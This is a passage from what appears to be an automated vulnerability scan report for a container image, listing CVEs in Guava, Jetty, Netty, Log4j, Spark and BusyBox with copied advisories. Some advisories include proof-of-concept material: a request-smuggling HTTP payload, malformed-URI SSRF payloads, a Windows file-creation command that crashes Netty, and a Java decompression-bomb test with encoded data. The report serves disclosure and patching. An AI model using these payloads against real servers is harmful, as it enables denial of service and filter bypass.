+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-common@4.1.96.Final
+medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
+ +
Description +
+ +### Summary +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + +### Details +A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv +This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. + + +### PoC +The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. +When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. + +### Impact +Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv + +
+
+ +medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
+ +
Description +
+ +### Summary + +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + + +### Details + +When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. + +At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. + +1 + +If netty finds this files, it reads them and loads them into memory. + +By default : + +- The JVM maximum memory size is set to 1 GB, +- A non-privileged user can create a directory at `C:\` and create files within it. + +2 + +3 + +the source code identified : +https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java + +Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. + +### PoC + +Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. + +To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) + +``` +cd C:\etc +fsutil file createnew os-release 3000000000 +``` + +4 + +5 + +The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). + +The vulnerability was tested on the 4.1.112.Final version. + +The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 + +### Impact + +By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. + +This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. + +Client mode : + +6 + +Server mode : + +7 + +somaxconn : + +8 + +### Severity + +- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. +- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). +- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. +- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. +- Scope : "Unchanged" because only Netty is affected by the vulnerability. +- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. +- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. +- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.96.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at 